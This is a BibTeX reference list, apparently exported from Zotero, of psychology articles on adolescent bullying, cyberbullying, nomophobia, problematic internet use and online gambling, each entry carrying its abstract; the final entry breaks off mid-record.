text:
@article{gonzalez-cabrera_psychometric_2019,
	title = {Psychometric properties of the cyberbullying triangulation questionnaire: {A} prevalence analysis through seven roles},
	volume = {60},
	issn = {00365564},
	shorttitle = {Psychometric properties of the cyberbullying triangulation questionnaire},
	url = {http://doi.wiley.com/10.1111/sjop.12518},
	doi = {10.1111/sjop.12518},
	abstract = {This study explores the psychometric properties of the Cyberbullying Triangulation Questionnaire (CTQ), which measures and triangulates the roles of cybervictimization, cyberaggression, and cyberbystanding. The study sample was composed of 5,036 Spanish students with a mean age of 14.19 years (SD = Æ1.7; range = 10–23 years). Conﬁrmatory factor analysis of the three correlated-factor model yielded a high goodness of ﬁt. Reliability as measured by Omega coefﬁcients was adequate ({\textgreater}0.94). The measurement model was invariant for the two age groups (10–14 years and 15–23 years). Cybervictimization and cyberaggression correlated with ofﬂine victimization and aggression (r = 0.49; p {\textless} 0.001; r = 0.57; p {\textless} 0.001, respectively). The results show that the most prevalent cyberbystanding subrole was that of the Defender of the Victim (54.6\%), and that cyberaggression and cyberbystanding were more prevalent among male adolescents (p {\textless} 0.001). The lack of parental control over children’s use of the mobile phone was associated with cyberaggression (p {\textless} 0.001).},
	language = {en},
	number = {2},
	urldate = {2020-01-03},
	journal = {Scandinavian Journal of Psychology},
	author = {González-Cabrera, Joaquín and León-Mejía, Ana and Machimbarrena, Juan Manuel and Balea, Angel and Calvete, Esther},
	month = apr,
	year = {2019},
	pages = {160--168},
	file = {González-Cabrera et al. - 2019 - Psychometric properties of the cyberbullying trian.pdf:C\:\\Users\\mmach\\Zotero\\storage\\3PDXRXTK\\González-Cabrera et al. - 2019 - Psychometric properties of the cyberbullying trian.pdf:application/pdf}
}

@article{gonzalez-cabrera_joint_2019,
	title = {Joint association of bullying and cyberbullying in health-related quality of life in a sample of adolescents},
	issn = {0962-9343, 1573-2649},
	url = {http://link.springer.com/10.1007/s11136-019-02353-z},
	doi = {10.1007/s11136-019-02353-z},
	abstract = {Purpose  Health-related quality of life (HRQoL) has been analyzed in relation to multiple psychosocial and health problems. However, only a few studies have analyzed the impact of bullying and cyberbullying on HRQoL. The main purpose of this study was to analyze the level of severity of bullying and cyberbullying on HRQoL. The effects of different roles, especially the conjunctions of of victim–cybervictim and bully–victim/cyberbully–cybervictim on HRQoL, were explored.
Methods  An analytical and cross-sectional study was conducted in a region of northern Spain. Random and representative sampling was employed. The participants included 12, 285 adolescents between 11 and 18 years of age, with a mean age of 14.69 ± 1.73. The Spanish version of the KIDSCREEN-27, the Spanish version of the European bullying intervention project questionnaire (EBIPQ), and the cyberbullying triangulation questionnaire (CTQ) were employed.
Results  The prevalence of bullying victimization, cybervictimization, bullying perpetration, and cyberbullying perpetration was 12\%, 8.1\%, 10.4\%, and 7\%, respectively. Significant and negative correlations between all the dimensions of the EBIPQ and the CTQ with the KIDSCREEN-27 were found. Victimization and cybervictimization had more impact than bullying perpetration and cyberbullying perpetration, especially on psychological well-being and school environment. The mixed roles of the victim–cybervictim and victim–cybervictim/bully–cyberbully obtained lower scores than the remaining roles in all the dimensions of KIDSCREEN-27.
Conclusions  Those in mixed roles related to victimization and cybervictimization obtained the lowest scores in all HRQoL dimensions. The results enhance an understanding of the severity of the problem of bullying and cyberbullying and their impact on HRQoL.},
	language = {en},
	urldate = {2020-01-03},
	journal = {Quality of Life Research},
	author = {González-Cabrera, Joaquín and Machimbarrena, Juan Manuel and Ortega-Barón, Jessica and Álvarez-Bardón, Aitor},
	month = nov,
	year = {2019},
	file = {González-Cabrera et al. - 2019 - Joint association of bullying and cyberbullying in.pdf:C\:\\Users\\mmach\\Zotero\\storage\\6CNQKK85\\González-Cabrera et al. - 2019 - Joint association of bullying and cyberbullying in.pdf:application/pdf}
}

@article{gonzalez-cabrera_health-related_2019,
	title = {Health-{Related} {Quality} of {Life} and {Cumulative} {Psychosocial} {Risks} in {Adolescents}},
	issn = {0044-118X, 1552-8499},
	url = {http://journals.sagepub.com/doi/10.1177/0044118X19879461},
	doi = {10.1177/0044118X19879461},
	abstract = {Psychosocial risks can negatively affect adolescents’ physical, psychological, and social health. Grounded on the cumulative risk theory, the objective of this study was to analyze the differences in health-related quality of life (HRQoL) depending on the accumulation of several psychosocial risks (bullying, cyberbullying, cyberdating abuse, sexting, online grooming, and problematic Internet use). The participants were 3,212 Spanish adolescents (53.7\% females) with a mean age of 13.92 ± 1.44, who completed self-report online questionnaires that assessed each of the aforementioned risks and HRQoL. Overall, 41.4\% of the female participants and 36.8\% of the males presented at least one risk, with significant differences between sexes. The percentage of participants who presented an accumulation of three or more risks was 8.2\%. Risk accumulation was related to a lower HRQoL score than those who presented no risks. The scores in HRQoL decrease at up to four risks, point at which the differences ceased to be significant.},
	language = {en},
	urldate = {2020-01-23},
	journal = {Youth \& Society},
	author = {González-Cabrera, Joaquín and Machimbarrena, Juan Manuel and Fernández-González, Liria and Prieto-Fidalgo, Ángel and Vergara-Moragues, Esperanza and Calvete, Esther},
	month = sep,
	year = {2019},
	pages = {0044118X1987946},
	file = {González-Cabrera et al. - 2019 - Health-Related Quality of Life and Cumulative Psyc.pdf:C\:\\Users\\mmach\\Zotero\\storage\\HM38MSXB\\González-Cabrera et al. - 2019 - Health-Related Quality of Life and Cumulative Psyc.pdf:application/pdf}
}

@article{leon-mejia_factor_2020,
	title = {Factor structure and sex and age cut-off points for the {Spanish} version of the {Nomophobia} {Questionnaire}},
	volume = {In press},
	doi = {https://doi.org/10.20882/adicciones.1316},
	abstract = {Nomophobia is a situational phobia leading to a deep, irrational, and disproportionate fear of not being able to use the smartphone. An instrumental study on the Spanish version of the Nomophobia Questionnaire (NMP-Q) was carried out. The objectives were: 1) To analyse its factor structure and reliability; 2) to test for the invariance of sex and age groups, and 3) to obtain specific cut-off points by sex and age non-existent to date. Sampling was incidental and non-probabilistic with 5012 participants (57.9\%, females) aged 12-24 years (M = 18.04, SD = 3.3). The confirmatory factor analysis revealed a hierarchical model with four correlated factors explained by a general second-order factor. The internal validity and reliability values of the NMP-Q dimensions are satisfactory, ranging between .78, .85, .86, and .92 (Omega w). A multigroup analysis confirmed the invariance across sex and age groups. Building on the NMP-Q scores, we calculated 3 cut-off points using percentiles 15th, 80th and 95th (unnomophobic, at risk of nomophobia, and nomophobic). Females aged 12-15 years had the highest nomophobic scores. We can conclude that the proposed sex and age cut-off points will allow us to better identify nomophobic problems from a clinical point of view.},
	journal = {Adicciones},
	author = {León-Mejía, Ana and Calvete, Esther and Patino-Alonso, Carmen and Machimbarrena, Juan Manuel and González-Cabrera, Joaquín},
	year = {2020}
}

@article{beranuy_spanish_2020,
	title = {Spanish {Validation} of the {Internet} {Gaming} {Disorder} {Scale}-{Short} {Form} ({IGDS9}-{SF}): {Prevalence} and {Relationship} with {Online} {Gambling} and {Quality} of {Life}.},
	volume = {17},
	doi = {10.3390/ijerph17051562},
	abstract = {Online gaming is a very common form of leisure among adolescents and young people, although its excessive and/or compulsive use is associated with psychological impairments in a minority of gamers. The latest (fifth) edition of the Diagnostic and Statistical Manual of Mental Disorders (DSM-5, Section III) tentatively introduced Internet Gaming Disorder (IGD). Since then, a number of evaluation tools using the DSM-5 criteria have been developed, including the Internet Gaming Disorder Scale–Short Form (IGDS9-SF). The main objective of this study was to translate and adapt the IGDS9-SF into Spanish, as well as to obtain indicators relating to its validity and reliability. The Spanish version of four scales were administered: IGDS9-SF, Mobile Phone-Related Experiences Questionnaire (CERM), Online Gambling Disorder Questionnaire (OGD-Q), and KIDSCREEN-27. The sample comprised 535 Vocational Training students (mean age 18.35 years; SD±2.13; 78.5\% males) who reported playing video games in the past 12 months. Confirmatory factor analysis yielded a one-dimensional model with a good fit while the reliability indicators were satisfactory. Findings indicated that 1.9\% of gamers were classified with IGD (meeting five or more criteria for more than 12 months). Additionally, another 1.9\% were considered gamers ‘at-risk’ because they endorsed four criteria. Positive and significant relationships were found between the IGDS9-SF, the CERM, and the OGD-Q. Participants classified with IGD had poorer health-related quality of life. In conclusion, the Spanish IGDS9-SF is a valid and reliable instrument to assess IGD according to the DSM-5.},
	number = {5},
	journal = {International journal of environmental research and public health},
	author = {Beranuy, Marta and Machimbarrena, Juan Manuel and Vega-Oses, M. Asuncion and Carbonell, Xavier and Griffiths, Mark D. and Pontes, Halley M. and González-Cabrera, Joaquín},
	month = feb,
	year = {2020},
	note = {MEDLINE:32121280}
}

@article{machimbarrena_variables_2019,
	title = {Variables familiares relacionadas con el bullying y el cyberbullying: una revisión sistemática},
	volume = {17},
	issn = {2665-3281, 1657-8961},
	shorttitle = {Variables familiares relacionadas con el bullying y el cyberbullying},
	url = {https://revistas.javerianacali.edu.co/index.php/pensamientopsicologico/article/view/1877},
	doi = {10.11144/doi:10.11144/Javerianacali.PPSI17-2.vfrb},
	abstract = {Objective. To review studies that have analyzed the relationship of bullying and cyberbullying with the family context. Method. PRISMA protocol for systematic reviews was used in all documents registered in the main psychology databases featuring the keywords bullying/cyberbullying and family/parents, between 2004 and 2017. Seventy-four articles met the inclusion criteria. Results. The review revealed the following familiar variables associated with each role. Victims of bullying: authoritarian, punitive, negligent, or permissive parents; dysfunctional homes, low family harmony, conflicts, poor parent-child communication; criticism, low parental support/attention, or overprotection. Cyber-victims: authoritarian or negligent parents; family conflicts, low parental support, distant parents, negative emotional bonding with parents. Bullies: authoritarian, punitive or permissive parents; dysfunctional homes, parental conflicts, domestic violence; rejection, criticism, and little parental affection. Cyberbullies: authoritarian, negligent or permissive parents, and family conflicts. Protective factors: democratic, balanced parents; no domestic conflicts, family cohesion, quality interactions, easy parentchild communication, parents support and care for their children, close-knit relationships, and foster secure attachment. Conclusion. Some family variables may be relevant, although the probability of becoming a victim or aggressor of bullying and cyberbullying may be influenced by other factors.},
	language = {es},
	number = {2},
	urldate = {2020-01-03},
	journal = {Pensamiento Psicológico},
	author = {Machimbarrena, Juan Manuel and González-Cabrera, Joaquín and Garaigordobil, Maite},
	month = nov,
	year = {2019},
	pages = {37--56},
	file = {Machimbarrena et al. - 2019 - Variables familiares relacionadas con el bullying .pdf:C\:\\Users\\mmach\\Zotero\\storage\\9JLFM6RL\\Machimbarrena et al. - 2019 - Variables familiares relacionadas con el bullying .pdf:application/pdf}
}

@article{machimbarrena_bullying_2018,
	title = {Bullying and cyberbullying on primary education},
	volume = {26},
	abstract = {The prevalence of bullying/cyberbullying has been well established globally. However, identifying its onset and prevalence at an early age is necessary for prevention. Therefore, this study had two aims: (1) to study the prevalence of bullying/cyberbullying in fifth and sixth grade of primary school; and (2) to explore the level of victimization, perpetration and observed behavior among students in fifth and sixth grade of elementary school. 1,993 students from the Basque Country (51.5\% fifth-graders, 48.5\% sixth-graders) participated. The "Cyberbullying. Screening of Peer Harassment” test was administered. The results revealed that: (1) a significantly higher percentage of bully/victims was found in fifth grade, no differences were found for pure-victims, pure-bullies and bystanders as a function of age; (2) a higher percentage of pure-cybervictims, pure-cyberaggresors, cyberbully/victims and cyberobservers was found in sixth grade; (3) face-to-face victimization and aggression was greater in fifth grade (4) cybervictimization and cyberobservation was significantly higher in sixth grade. These data emphasize the importance of implementing programs to prevent bullying/cyberbullying at this stage},
	number = {2},
	journal = {Behavioral Psychology-Psicologia Conductual},
	author = {Machimbarrena, Juan Manuel and Garaigordobil, Maite},
	year = {2018},
	pages = {263--280}
}

@article{machimbarrena_internet_2018,
	title = {Internet {Risks}: {An} {Overview} of {Victimization} in {Cyberbullying}, {Cyber} {Dating} {Abuse}, {Sexting}, {Online} {Grooming} and {Problematic} {Internet} {Use}},
	volume = {15},
	issn = {1660-4601},
	shorttitle = {Internet {Risks}},
	url = {http://www.mdpi.com/1660-4601/15/11/2471},
	doi = {10.3390/ijerph15112471},
	abstract = {The advance of digital media has created risks that affect the bio-psycho-social well-being of adolescents. Some of these risks are cyberbullying, cyber dating abuse, sexting, online grooming and problematic Internet use. These risks have been studied individually or through associations of some of them but they have not been explored conjointly. The main objective is to determine the comorbidity between the described Internet risks and to identify the profiles of victimized adolescents. An analytical and cross-sectional study with 3212 participants (46.3\% males) from 22 Spanish schools was carried out. Mean age was 13.92 ± 1.44 years (range 11–21). Assessment tools with adequate standards of reliability and validity were used. The main results indicate that the most prevalent single risk is cyberbullying victimization (30.27\%). The most prevalent two-risk associations are cyberbullying-online grooming (12.61\%) and cyberbullying-sexting (5.79\%). The three-risk combination of cyberbullying-sexting-grooming (7.12\%) is highlighted, while 5.49\% of the adolescents present all the risks. In addition, four profiles are distinguished, with the profile Sexualized risk behaviour standing out, with high scores in grooming and sexting and low scores in the rest of the risks. Determining the comorbidity of risks is useful for clinical and educational interventions, as it can provide information about additional risks.},
	language = {en},
	number = {11},
	urldate = {2020-01-23},
	journal = {International Journal of Environmental Research and Public Health},
	author = {Machimbarrena, Juan Manuel and Calvete, Esther and Fernández-González, Liria and Álvarez-Bardón, Aitor and Álvarez-Fernández, Lourdes and González-Cabrera, Joaquín},
	month = nov,
	year = {2018},
	pages = {2471},
	file = {Machimbarrena et al. - 2018 - Internet Risks An Overview of Victimization in Cy.pdf:C\:\\Users\\mmach\\Zotero\\storage\\2C6EMWUK\\Machimbarrena et al. - 2018 - Internet Risks An Overview of Victimization in Cy.pdf:application/pdf}
}

@article{machimbarrena_profiles_2019,
	title = {Profiles of {Problematic} {Internet} {Use} and {Its} {Impact} on {Adolescents}’ {Health}-{Related} {Quality} of {Life}},
	volume = {16},
	issn = {1660-4601},
	url = {https://www.mdpi.com/1660-4601/16/20/3877},
	doi = {10.3390/ijerph16203877},
	abstract = {The internet has been a breakthrough for adolescents in many ways, but its use can also become dysfunctional and problematic, leading to consequences for personal well-being. The main objective is to analyze profiles related to problematic internet use and its relationship with health-related quality of life (HRQoL). An analytical and cross-sectional study was carried out in a region of northern Spain. The sample comprised 12,285 participants. Sampling was random and representative. Mean age and standard deviation was 14.69 ± 1.73 (11–18 years). The Spanish versions of the Problematic and Generalized Internet Use Scale (GPIUS2) and of the Health-Related Quality of Life (KIDSCREEN-27) were used. Four profiles were detected (non-problematic use, mood regulator, problematic internet use, and severe problematic use). The prevalence of these last two profiles was 18.5\% and 4.9\%, respectively. Problematic internet use correlated negatively and significantly with HRQoL. The severe problematic use profile presented a significant decrease in all dimensions of HRQoL. Analyses were carried out to extract a cut-off point for GPIUS2 (52 points). The results and practical implications are discussed.},
	language = {en},
	number = {20},
	urldate = {2020-01-24},
	journal = {International Journal of Environmental Research and Public Health},
	author = {Machimbarrena, Juan Manuel and González-Cabrera, Joaquín and Ortega-Barón, Jéssica and Beranuy-Fargues, Marta and Álvarez-Bardón, Aitor and Tejero, Blanca},
	month = oct,
	year = {2019},
	pages = {3877},
	file = {Texto completo:C\:\\Users\\mmach\\Zotero\\storage\\CVVMTVFJ\\Machimbarrena et al. - 2019 - Profiles of Problematic Internet Use and Its Impac.pdf:application/pdf;Texto completo:C\:\\Users\\mmach\\Zotero\\storage\\2YA6XENB\\Machimbarrena et al. - 2019 - Profiles of Problematic Internet Use and Its Impac.pdf:application/pdf}
}

@article{gonzalez-cabrera_design_2020,
	title = {Design and {Measurement} {Properties} of the {Online} {Gambling} {Disorder} {Questionnaire} ({OGD}-{Q}) in {Spanish} {Adolescents}},
	volume = {9},
	issn = {2077-0383},
	url = {https://www.mdpi.com/2077-0383/9/1/120},
	doi = {10.3390/jcm9010120},
	abstract = {Gambling disorder is of great clinical and social relevance since it seriously affects people who suffer from it. More recently, the Internet has exacerbated the problem with online casinos, poker, and sports betting. However, there is little evidence of this problem, and we know of no diagnostic questionnaire. The main objectives of this study were to develop the Online Gambling Disorder Questionnaire (OGD-Q) for adolescents, evaluate its main psychometric properties, and establish diagnostic criteria to differentiate pathological from non-pathological online gamblers. We conducted a study in 16 schools across seven regions of Spain, sampling 2691 adolescents, 883 of whom had reported some online gambling experience. Of those, 602 were boys (68.2\%) and 281 were girls (31.8\%) Sampling was non-probabilistic and incidental. Mean age and standard deviation were 14.25 ± 1.55 (11–19 years). Confirmatory factor analysis yielded a one-dimensional model with a good fit. The reliability indicators were satisfactory ({\textgreater}0.94). The scores on the OGD-Q were related to other constructs, such as Internet gaming disorder, problematic Internet use, and nomophobia. Participants classified as having problems or being at risk of online gambling disorder presented significantly more stress, anxiety, and depression. Participants categorized as having online gambling disorder comprised 0.89\% (n = 24) of the total sample and 2.71\% of those who have gambled at some time. We discuss these findings and their practical implications in this article and propose future lines of research.},
	language = {en},
	number = {1},
	urldate = {2020-08-14},
	journal = {Journal of Clinical Medicine},
	author = {González-Cabrera, Joaquín and Machimbarrena, Juan Manuel and Beranuy, Marta and Pérez-Rodríguez, Priscila and Fernández-González, Liria and Calvete, Esther},
	month = jan,
	year = {2020},
	pages = {120},
	file = {Texto completo:C\:\\Users\\mmach\\Zotero\\storage\\4M5PSN8Y\\González-Cabrera et al. - 2020 - Design and Measurement Properties of the Online Ga.pdf:application/pdf}
}

@article{garaigordobil_cyberaggression_2020,
	title = {Cyberaggression in {Adolescents} of {Bolivia}: {Connection} with {Psychopathological} {Symptoms}, {Adaptive} and {Predictor} {Variables}},
	volume = {17},
	issn = {1660-4601},
	shorttitle = {Cyberaggression in {Adolescents} of {Bolivia}},
	url = {https://www.mdpi.com/1660-4601/17/3/1022},
	doi = {10.3390/ijerph17031022},
	abstract = {Concern about the increase of cyberbullying underlies this study, which had four objectives: (1) to calculate the prevalence of cyberaggressors; (2) to compare non-cyberaggressors with cyberaggressors in other bullying/cyberbullying roles, in psychopathological symptoms, and in self-image of masculinity/femininity, happiness, and empathy; (3) to analyze whether cyberaggressors consulted with a psychologist more than non-cyberaggressors; and (4) to identify predictor variables of cyberaggression. Participants were 1558 Bolivian students aged 13 to 17 years. Seven evaluation instruments were administered, using a descriptive, comparative, cross-sectional methodology. Results: (1) 32.7\% of cyberaggressors (27.4\% occasional, 5.3\% severe) were found, with a higher percentage of males; (2) compared to non-cyberaggressors, cyberaggressors engaged in more face-to-face bullying behaviors, suffered more face-to-face victimization and cybervictimization, had more psychopathological symptoms (depression, somatization, obsession-compulsion, interpersonal sensitivity, anxiety, hostility, paranoid ideation, psychoticism), higher overall level of psychopathology, had requested psychological assistance in a greater proportion, self-defined with many attributes associated with masculinity, and felt less happiness and less empathy; and (3) being or having been a cybervictim, being or having been an aggressor of face-to-face bullying, low empathetic joy, and a self-image based on attributes associated with masculinity were predictors of cyberaggression. The need for therapeutic intervention with all those involved and the importance of prevention in the school context are discussed.},
	language = {en},
	number = {3},
	urldate = {2020-08-14},
	journal = {International Journal of Environmental Research and Public Health},
	author = {Garaigordobil, Maite and Mollo-Torrico, Juan Pablo and Machimbarrena, Juan Manuel and Páez, Darío},
	month = feb,
	year = {2020},
	pages = {1022},
	file = {Texto completo:C\:\\Users\\mmach\\Zotero\\storage\\B7LS23Z8\\Garaigordobil et al. - 2020 - Cyberaggression in Adolescents of Bolivia Connect.pdf:application/pdf}
}

@article{calvete_internet-risk_2020,
	title = {Internet-{Risk} {Classes} of {Adolescents}, {Dispositional} {Mindfulness} and {Health}-{Related} {Quality} of {Life}: {A} {Mediational} {Model}},
	volume = {23},
	issn = {2152-2715, 2152-2723},
	shorttitle = {Internet-{Risk} {Classes} of {Adolescents}, {Dispositional} {Mindfulness} and {Health}-{Related} {Quality} of {Life}},
	url = {https://www.liebertpub.com/doi/10.1089/cyber.2019.0705},
	doi = {10.1089/cyber.2019.0705},
	abstract = {This study was primarily aimed at identifying classes of adolescents in relation to their probability of endorsing several risks associated with the Internet (cyberbullying victimization and perpetration, cyberdating abuse victimization, and perpetration, sexting, and grooming). The second objective was to examine a mediational model linking dispositional mindfulness, risk perception, exposure to antisocial content in the media, Internet-risk classes of adolescents, and health-related quality of life (HRQL). The sample comprised 3,076 adolescents (46.2\% boys, ages between 12 and 21). Latent class analyses indicated the existence of five classes related to the probability of endorsing Internet risks: No risk (60.75\%), only cyberbullying (25.5\%), cyberbullying and cyberdating abuse (6.7\%), all risks (4.3\%), and sexual risk (2.9\%). Three mindfulness facets, namely, acting with awareness, nonreacting, and nonjudging, were associated with all the classes of risks. This association was partially explained by the degree of exposure to antisocial content in the media and risk perception. Finally, membership in the Internet-risk classes was associated with a lower HRQL.},
	language = {en},
	number = {8},
	urldate = {2020-08-14},
	journal = {Cyberpsychology, Behavior, and Social Networking},
	author = {Calvete, Esther and Fernández-González, Liria and González-Cabrera, Joaquín and Machimbarrena, Juan Manuel and Orue, Izaskun},
	month = aug,
	year = {2020},
	pages = {533--540}
}

@article{garaigordobil_victimization_2019,
	title = {Victimization and {Perpetration} of {Bullying}/{Cyberbullying}: {Connections} with {Emotional} and {Behavioral} {Problems} and {Childhood} {Stress}},
	volume = {28},
	issn = {1132-0559, 2173-4712},
	shorttitle = {Victimization and {Perpetration} of {Bullying}/{Cyberbullying}},
	url = {https://journals.copmadrid.org/pi/art/pi2019a3},
	doi = {10.5093/pi2019a3},
	abstract = {The purpose of the study was to analyze the connections between victimization and perpetration of face-to-face bullying and cyberbullying with self-perceived childhood stress and diverse emotional and behavioral problems (EBPs) evaluated by parents. Participants were 1,993 students, aged 9-13 years, from the Basque Country (Spain) (49.8\% females). The results of the analyses of variance (MANOVA-ANOVA) and correlational analyses showed that: (1) students who had higher scores in victimization and perpetration of bullying/cyberbullying had significantly high levels of stress and many EBPs; (2) participants who had higher scores in victimization/cybervictimization and perpetration of bullying obtained higher scores in all the dimensions of stress, while those who had higher scores in cyberaggression only showed higher school stress; (3) students who had higher scores in victimization/cybervictimization manifested internalizing and externalizing EBPs, whereas those who had higher scores in perpetration of bullying/cyberbullying had fewer internalizing problems; and (4) children who obtained higher scores in victimization and perpetration of bullying/cyberbullying had received psychological counseling significantly more frequently in the past year than those who had lower scores in indicators of bullying/cyberbullying. The importance of preventing/intervening in bullying situations to reduce psychopathological problems is emphasized in the discussion.},
	language = {en},
	number = {2},
	urldate = {2020-08-14},
	journal = {Psychosocial Intervention},
	author = {Garaigordobil, Maite and Machimbarrena, Juan Manuel},
	year = {2019},
	pages = {67--73},
	file = {Texto completo:C\:\\Users\\mmach\\Zotero\\storage\\D3BZ8DZ8\\Garaigordobil y Machimbarrena - 2019 - Victimization and Perpetration of BullyingCyberbu.pdf:application/pdf}
}

@article{machimbarrena_loneliness_2019,
	title = {Loneliness and {Personality} {Profiles} {Involved} in {Bullying} {Victimization} and {Aggressive} {Behavior}},
	volume = {11},
	issn = {1866-2625, 1866-2633},
	url = {http://link.springer.com/10.1007/s12310-019-09328-y},
	doi = {10.1007/s12310-019-09328-y},
	abstract = {Bullying is a worrisome reality due to its harmful consequences. Although many constructs have been associated with bullying victimization and aggressive behavior, its relationship both with loneliness and personality has received little attention. The main objective of this study is to identify differences in bullying victimization and aggressive behavior scores based on a typology of personality and loneliness profiles. Six hundred and four middle school students (54\% female) from the province of León (Spain), aged between 12 and 15 (Mage = 13.3 ± 1.12), completed the Eysenck Junior Personality Inventory, the Loneliness Scales, the Bullying Victimization Scale, and the Short Aggression Questionnaire. Correlations, linear regressions, and latent profile analysis (LPA) were performed. Age (β = − 0.90, p {\textless} 0.001), peer loneliness (β = 0.70, p {\textless} 0.001), isolation (β = 0.18, p {\textless} 0.001), neuroticism (β = 0.06, p = 0.048), and psychoticism (β = 0.06, p = 0.026) predicted bullying victimization. Moreover, the LPA distinguished five distinct profiles based on the loneliness and personality subscales. The disruptive and peer-alienated profiles obtained the highest scores in bullying victimization, and the former also had the highest aggression scores. Loneliness and personality are closely linked to victimization and aggressive behavior. It is crucial for health and school communities to identify and address these vulnerabilities for the prevention of bullying victimization and aggression.},
	language = {en},
	number = {4},
	urldate = {2020-08-14},
	journal = {School Mental Health},
	author = {Machimbarrena, Juan Manuel and Álvarez-Bardón, Aitor and León-Mejía, Ana and Gutiérrez-Ortega, Monica and Casadiego-Cabrales, Alix and González-Cabrera, Joaquin},
	month = dec,
	year = {2019},
	pages = {807--818}
}

@article{gonzalez-cabrera_exploratory_2019,
	title = {Exploratory study on bullying in gifted students: prevalence and psychological wellbeing},
	issn = {1988-592X},
	shorttitle = {Estudio exploratorio sobre acoso escolar en alumnado con altas capacidades},
	url = {http://doi.org/10.4438/1988-592X-RE-2019-386-432},
	doi = {10.4438/1988-592X-RE-2019-386-432},
	abstract = {Introduction: The distinguishing characteristics of gifted students can leave them vulnerable to being bullied. Evidence on school violence and gifted students is scarce and it has still not been explored in Spain. The aim is to establish the prevalence of bullying among gifted students, its distribution across the different roles and its relationship with other psychological variables. Method: We employed a cross-sectional and analytic study of 285 gifted students (Mage = 11.77; SD = 2.28; range 9–18) from all over Spain (175 male, 61.6\%). The Spanish versions of the European Bullying Intervention Project Questionnaire, Depression, Anxiety, Stress Scales-21, Interpersonal Support Evaluation List and KIDSCREEN-10 were used. Results: 50.9\% is involved in bullying, with 36.9\% being victims, 1.1\% bullies, and 10.2\% bully-victims. Bully-victims and victims present worse health-related quality of life scores (p {\textless} .001), depression (p {\textless} .001), stress (p {\textless} .001) and, and anxiety (p {\textless} .001) than uninvolved individuals. Discussion: This paper provides empirical evidence of the high prevalence of victimization among gifted Spanish students. Being a victim or bully-victims has an impact on psychological wellbeing and, particularly, on health-related quality of life, stress, anxiety, and depression.},
	number = {386},
	urldate = {2020-08-14},
	journal = {Revista de Educación},
	author = {González-Cabrera, Joaquín and Tourón, Javier and Machimbarrena, Juan Manuel and León-Mejía, Ana and Gutiérrez-Ortega, Mónica},
	year = {2019},
	pages = {187--206}
}

@article{gonzalez-cabrera_cyberbullying_2019,
	title = {Cyberbullying in {Gifted} {Students}: {Prevalence} and {Psychological} {Well}-{Being} in a {Spanish} {Sample}},
	volume = {16},
	issn = {1660-4601},
	shorttitle = {Cyberbullying in {Gifted} {Students}},
	url = {https://www.mdpi.com/1660-4601/16/12/2173},
	doi = {10.3390/ijerph16122173},
	abstract = {The differential characteristics of gifted students can make them vulnerable to cyberbullying. There is very little empirical evidence about cyberbullying and giftedness. In the Spanish context, it is unexplored. The main goal of this work is to determine the prevalence of cyberbullying, its distribution in the different roles, and its relationship with other psychological variables. A cross-sectional study was performed with 255 gifted students (M = 11.88 years, SD = 2.28 years) in Spain (155 males, 60.8\%). We used the cyberbullying test and the Spanish versions of the DASS-21, ISEL, KIDSCREEN-10, and the SWLS. The results indicate that 25.1\% of the students are pure-cybervictims, 3.9\% pure-cyberbullies, and 6.6\% cyberbully-victims. Pure-cybervictims and cyberbully-victims present worse scores (p {\textless} 0.001) in health-related quality of life, depression, life satisfaction and stress than the uninvolved individuals. The results suggest that the gifted sample presents more cybervictimization and less cyberbullying than observed in other studies of the general population.},
	language = {en},
	number = {12},
	urldate = {2020-08-14},
	journal = {International Journal of Environmental Research and Public Health},
	author = {González-Cabrera, Joaquín and Tourón, Javier and Machimbarrena, Juan Manuel and Gutiérrez-Ortega, Monica and Álvarez-Bardón, Aitor and Garaigordobil, Maite},
	month = jun,
	year = {2019},
	pages = {2173},
	file = {Texto completo:C\:\\Users\\mmach\\Zotero\\storage\\U2LZG22C\\González-Cabrera et al. - 2019 - Cyberbullying in Gifted Students Prevalence and P.pdf:application/pdf}
}

@article{gonzalezcabrera_psychometric_2020,
	title = {Psychometric properties of the triangulated version of the {European} {Bullying} {Intervention} {Project} {Questionnaire}: {Prevalence} across seven roles},
	volume = {57},
	issn = {0033-3085, 1520-6807},
	shorttitle = {Psychometric properties of the triangulated version of the {European} {Bullying} {Intervention} {Project} {Questionnaire}},
	url = {https://onlinelibrary.wiley.com/doi/abs/10.1002/pits.22320},
	doi = {10.1002/pits.22320},
	abstract = {This study created a Spanish triangulated version of the European Bullying Intervention Project Questionnaire and obtained indicators of its validity and reliability. This new tool allows researchers to triangulate and flexibly investigate the three main roles in school bullying, obtaining seven potential roles (pure victim, pure bully, pure bystander, bully/victim, victim/bystander, bully/bystander, and bully/victim/bystander). The sample was 2,068 adolescents and young adults aged 11–19 years (Mage = 14.2 ± 1.48 years old; 53.8\% females). Confirmatory factor analysis indicated a good fit for the three‐related‐factor model and adequate reliability (ω {\textgreater} 0.91) in all dimensions. About 28.2\% of the sample reported victimization; of whom only 2.9\% were pure victims, 15.1\% were victim/bystanders, and 9.8\% were involved in all three roles (bully/victim/bystanders). Only 0.8\% played the role of a pure bully, and 0.4\% were bully/victims. The most prevalent profile was that of pure bystander (30\%). These results are discussed in light of their importance for the interpretation of the prevalence of traditional bullying, and their implications for bullying assessments and interventions.},
	language = {en},
	number = {1},
	urldate = {2020-08-22},
	journal = {Psychology in the Schools},
	author = {González‐Cabrera, Joaquín and Sánchez‐Álvarez, Nicolás and Calvete, Esther and León‐Mejía, Ana and Orue, Izaskun and Machimbarrena, Juan Manuel},
	month = jan,
	year = {2020},
	pages = {78--90},
	file = {Full Text:C\:\\Users\\mmach\\Zotero\\storage\\85JZJ4P9\\González‐Cabrera et al. - 2020 - Psychometric properties of the triangulated versio.pdf:application/pdf}
}

@article{ouvrein_online_2018,
	title = {Online {Celebrity} {Bashing}: {Wrecking} {Ball} or {Good} for {You}? {Adolescent} {Girls}’ {Attitudes} {Toward} the {Media} and {Public} {Bashing} of {Miley} {Cyrus} and {Selena} {Gomez}},
	volume = {35},
	issn = {0882-4096, 1746-4099},
	shorttitle = {Online {Celebrity} {Bashing}},
	url = {https://www.tandfonline.com/doi/full/10.1080/08824096.2018.1467833},
	doi = {10.1080/08824096.2018.1467833},
